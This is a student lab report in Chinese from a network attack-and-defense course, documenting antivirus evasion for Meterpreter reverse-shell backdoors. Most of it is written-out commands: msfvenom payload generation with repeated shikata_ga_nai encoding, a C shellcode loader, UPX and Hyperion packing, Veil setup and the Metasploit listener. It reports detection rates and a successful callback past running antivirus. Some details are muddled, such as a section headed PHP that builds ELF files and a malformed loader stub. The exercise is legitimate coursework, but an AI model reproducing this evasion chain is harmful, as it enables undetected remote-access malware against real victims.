# 20222322 2024-2025-1 《网络与系统攻防技术》实验三实验报告
1.实验内容
1.1实验内容
(1) 使用msfvenom和msf编码器生成文件
使用msfvenom生成exe文件,并进行编码。
生成jar文件,用于Java环境下的攻击。
生成PHP文件,用于Web服务器上的攻击。
(2) 使用Veil工具生成恶意代码
下载并安装Veil-Evasion,使用Veil生成恶意代码。
(3) 使用C+shellcode编程
编写一个C程序,将shellcode嵌入其中,并编译成可执行文件。
(4) 使用压缩壳和加密壳
UPX压缩壳:使用UPX对生成的exe文件进行压缩。
Hyperion加密壳:下载并使用Hyperion对exe文件进行加密。
(5) 组合应用技术实现恶意代码免杀
结合使用msf编码器、Veil生成的payload、C+shellcode编程、以及压缩壳和加密壳等技术,生成难以被检测的恶意代码。在虚拟机中安装杀软,测试生成的恶意代码是否能绕过杀软的检测。
(6) 在杀软开启的情况下运行并回连成功
在一台安装了杀软的电脑上运行生成的恶意代码。确保恶意代码能够成功运行,并回连到攻击者的机器。
1.2实验问题
(1)杀软是如何检测出恶意代码的?
特征码匹配:检测已知恶意代码的特征码。
启发式分析:根据代码行为模式判断是否为恶意。
行为监控:监控程序行为,异常行为视为恶意。
云安全:上传文件到云端,利用大数据快速检测。
沙箱技术:在隔离环境中运行程序,观察其行为。
(2)免杀是做什么?
免杀是一种反杀毒技术,它旨在修改病毒、木马等内容,改变其特征码,从而使这些恶意代码能够躲避杀毒软件的检测和查杀。
(3)免杀的基本方法有哪些?
修改特征码:改变恶意代码中的关键字节,避免被杀毒软件识别。
代码混淆:增加代码复杂度,使其难以被分析。
加密解密:对恶意代码加密,运行时解密执行。
分离免杀:将恶意代码与加载器分离,动态加载执行。
加壳保护:使用加壳工具压缩加密恶意代码。
利用漏洞:通过系统或应用漏洞执行恶意代码。
2.实验过程
2.1生成参考标准
查看msfvenom 支持的所有输出格式
msfvenom --list formats
使用msfvenom生成一个Windows反向TCP Meterpreter的文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.36.128 LPORT=8888 -f exe > 20222322lulu.exe
将该文件放入virustotal进行评价,检出率为61/73,后续的免杀技术效果将以这个作为参照。
2.2生成exe及其他文件并使用msf编码器对后门程序进行处理
2.2.1生成exe文件和编码的exe文件
查看 msfvenom 支持的所有编码方式:
msfvenom --list encoders
对上面生成的exe文件进行一次编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.36.128 LPORT=2322 -f exe > 20222322lulu_2.exe;
文件放入virustotal进行评价,检出率为60/73
可以看见一次效果并不好,于是采用多次编码(10次)
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.36.128 LPORT=2322 -f exe > 20222322lulu_3.exe
文件放入virustotal进行评价,检出率为59/73
可以看见这里编码对免杀产生的影响不大。
2.2.2生成jar文件和编码的jar文件
生成可执行文件“20222322lulu_4.jar”和进行10次编码文件“20222301lulu_5.jar”
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.36.128 LPORT=2322 -f jar > 20222301lulu_4.jar
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.36.128 LPORT=2322 -e x86/shikata_ga_nai -i 10 -f jar > 20222322lulu_5.jar
放入virustotal进行评价,检出率均为34/64
2.2.3生成php文件和编码的php文件
生成elf可执行文件“20222322lulu_6.elf”
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.36.128 LPORT=2322 -f elf > 20222322lulu_6.elf
进行10次编码
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.36.128 LPORT=2322 -e x86/shikata_ga_nai -i 10 -f elf > 20222322lulu_7.elf
放入virustotal进行评价,检出率分别为34/65和17/66
通过测试检出率可以知道几种文件比较下来php文件最难被识别,且编码的免杀效果最好。其次不容易被识别的是jar文件,但jar编码的免杀效果不明显。
2.3使用veil免杀工具
2.3.1 下载veil
输入以下指令安装veil:
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
sudo apt-get install libncurses5*
sudo apt-get install libavutil55*
sudo apt-get install gcc-mingw-w64*
sudo apt-get install wine32
此时可能会报错“package ‘wine32’ has no installation candidate ”先输入dpkg --add-architecture i386
,再输入sudo apt-get update
,然后输入
sudo apt-get install wine32
此时可能会发生报错,硬盘大小不够(解决过程见问题1),扩充硬盘后再次下载。
下载完成后进行veil安装
apt-get install veil
cd /usr/share/veil/config/
vim setup.sh
将下图内容中下载地址换成“https://gitee.com/spears/VeilDependencies.git
”
保存退出后,输入veil
进行默认安装即可。
2.3.2 veil使用
输入veil
;
输入use evasion
,进入Evasion;
输入list
,查看所有载荷类型;
使用c/meterpretermrev_tcp.py,输入use 7
;
重新打开命令行,输入ifconfig
检查虚拟机ip地址,可以看见这里IP地址为192.168.36.145;
依次输入:
set LHOST 192.168.36.145
反弹链接ip(虚拟机ip)
set LPORT 2322
设置端口
generate
开始生成
输入生成的文件名称:“20222322lulu_veil”;
退出,进入文件夹cd /var/lib/veil/output/compiled/
;
输入ls
查看生成的“20222322lulu_veil.exe”可执行文件;
将文件传入主机;
主机打开网页VirusTotal:https://www.virustotal.com/进行检测;
检测率为45/72,可以看见起到对于免杀有一定作用。
2.3.3使用C + shellcode编程
用msfvenom工具来生成payload;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.36.145 LPORT=2322 -f c
新建并编辑“20222322.c”生成“20222322.exe”文件;
输入ls
查看文件生成情况;
测试文件检测率,检测率为44/72,免杀效果并不显著;
2.5使用加壳工具
2.5.1 upx加壳
生成可执行文件“upx20222322.exe”
upx 20222322.exe -o upx20222322.exe
;
测试文件检测率,检测率为47/72,检测率反而上升了,免杀效果较差;
2.5.2 Hyperion加壳
将文件“20222322.exe”放入文件夹
cp 20222322.exe /usr/share/windows-resources/hyperion
;
进入文件夹cd /usr/share/windows-resources/hyperion
;
查看未生成前目录ls
;
对文件进行加密生成文件“hyp20222322.exe”
wine hyperion.exe -v 20222322.exe hyp20222322.exe
查看生成后目录ls
;
测试文件检测率,检测率为53/72,检测率仍然在上升,免杀效果较差;
2.6通过组合应用各种技术实现恶意代码免杀
使用msfvenom工具生成一个针对Windows系统的Meterpreter反向TCP攻击载荷,该载荷经过x86/shikata_ga_nai编码器10次迭代编码,并避免使用\x00字节。同时,指定监听主机的IP地址和端口号,并将生成的代码输出到C语言源文件中。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.36.145 LPORT=2322 -f c > 20222322_conbine.c
使用vi编辑器打开生成的C文件,添加main函数,该函数将shellcode作为函数指针调用。
// 在 20222322_conbine.c文件中添加以下代码
int main(){
int (func)() = (int()())buf;
func();
}
使用MinGW-w64编译器编译生成可执行文件;
i686-w64-mingw32-g++ 20222322_conbine.c -o 20222322_conbine.exe
使用UPX工具对可执行文件进行压缩;
upx 20222322_conbine.exe -o 20222322_conbine_upx.exe
使用Hyperion工具对已经压缩的可执行文件进行加密处理;
wine hyperion.exe -v 20222322_conbine_upx.exe 20222322_conbine_upx_hyp.exe
将最终生成的可执行文件放入主机,用360卫士进行扫描,软件没有发现;
2.7用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
输入msfconsole
打开msf的控制台
use exploit/multi/handler
(设置监听处理器)
set payload windows/meterpreter/reverse_tcp
(设置载荷类型)
set LHOST 192.168.36.145(设置为kali的ip地址)
set LPORT 8888(设置端口)
exploit(启动监听服务)
在杀毒软件开启时,主机上运行文件,回连成功。
杀毒软件为腾讯管家17.0.25582.209
3.问题及解决方案
-
问题1:下载veli失败,出现硬盘容量不够。
-
问题1解决方案:尝试根据提示输入命令重新下载也失败了,发现是硬盘小了,扩充硬盘后下载。开机出现黑屏,重启无效,重装虚拟机直接将硬盘设置大一些。
-
问题2:硬盘容量解决后,下载veil过程中不断出现报错,比如.ssh文件没找到等。
-
问题2解决方案:更新apt版本并重新下载veil。
-
问题3:使用hyperion加壳工具是会产生报错:ShellExecuteEx failed: File not found 或者XXX not found
-
问题3解决方案:仔细看报错原因是文件没有找到需要加密的文件,需要将文件放入目录下并且进入目录就可以正常运行。
-
问题3:回连时一直被360安全卫士杀毒软件查杀。
-
问题3解决方案:可能是杀毒软件太多了,建议只保留一个杀毒软件,可以的话建议版本最老的杀毒软件。
4.学习感悟、思考等
通过本次实验,我亲自实践了恶意代码生成、编码、免杀技术以及各种工具(如msfvenom、Veil、UPX、Hyperion等)的使用。在这个过程中,我深刻体会到这些技术并非表面上的简单代码修改或增加复杂性,而是需要深入理解杀毒软件的检测机制,并巧妙地设计策略以绕过检测。这种“斗智斗勇”的过程让我印象深刻,也让我对攻防对抗有了更为深刻的认识。
在实验的具体操作过程中,我遇到了不少问题和挑战。在安装Veil时,由于硬盘容量不足和文件路径配置不当,导致安装过程多次失败。这不仅考验了我的耐心,也促使我更加细致地检查每一步操作,但最终还是通过重新下载虚拟机解决了。
最大的难点在于Veil的下载和安装。在下载Veil时,我遇到了各种各样的报错,如网络问题、依赖项缺失等。为了解决这些问题,我甚至不得不重新安装虚拟机,以此解决报错信息中提到的各种问题。然而,即使成功安装了Veil,由于实验涉及的免杀技巧已经存在了很久,很多杀毒软件已经对这些技巧有了较好的防范能力,因此我生成的恶意代码检测效果并不明显。
在回连过程中,我也遇到了不小的挑战。由于杀毒软件对恶意代码的检测和拦截,我多次尝试回连都未能成功。最终,我选择关闭了360杀毒软件,改用腾讯管家进行尝试。虽然这种方法在一定程度上降低了实验的难度,但也让我更加深刻地认识到杀毒软件在信息安全领域的重要性以及免杀技术的挑战性。
通过这次实验,我不仅学到了很多关于恶意代码生成、编码、免杀技术等方面的知识,也深刻体会到了攻防对抗的复杂性和艰巨性,网络攻防的斗争是动态的,所谓“魔高一尺道高一丈”,我将继续努力学习相关知识,提升自己的技术水平。